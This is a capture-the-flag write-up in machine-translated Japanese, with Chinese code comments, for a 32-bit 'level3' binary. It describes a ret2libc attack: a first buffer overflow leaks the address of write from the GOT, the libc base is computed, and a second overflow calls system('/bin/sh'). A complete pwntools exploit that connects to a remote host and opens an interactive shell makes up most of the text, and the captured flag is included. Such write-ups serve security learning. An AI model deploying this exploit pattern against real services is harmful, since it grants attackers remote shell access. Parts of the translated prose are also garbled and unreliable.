解凍後、level3とlibc_32.so.6があり、ida(32ビット)にドラッグされるの
は主にこれらの2つの関数
です。書き込みと読み取りの問題の基本的な考え方は、最初のオーバーフローを通じて書き込み関数を取得したテーブルに置くことです。アドレスリーク、libc_32.so.6のオフセットを差し引いてベースアドレスを取得し、ibc_32.so.6で見つかったシステムと「/ bin / sh」オフセットを追加して実際のアドレスを取得し、実行します。メイン関数が2回目にオーバーフロー
したら、書き込み関数とシステム関数のオフセットアドレスを取得する方法はたくさんあります
。libc_32.so.6をidaにドラッグすると、書き込み関数とシステム関数のオフセットを見つけることができます。
「/ bin / sh "(winhexで見つけることもできます)
write.pltとmain.plttはida
にありますこれらに加えて、次のように他の人のwpからメソッドを学びました
from pwn import *
from LibcSeacher import *
p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']
#填充字符+write函数地址+main函数地址+write函数的三个参数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload1)
#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])
#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']
#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off
#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()
フラグ:cyberpeace {e808c04302e73cdc5159eef2dcd92f48}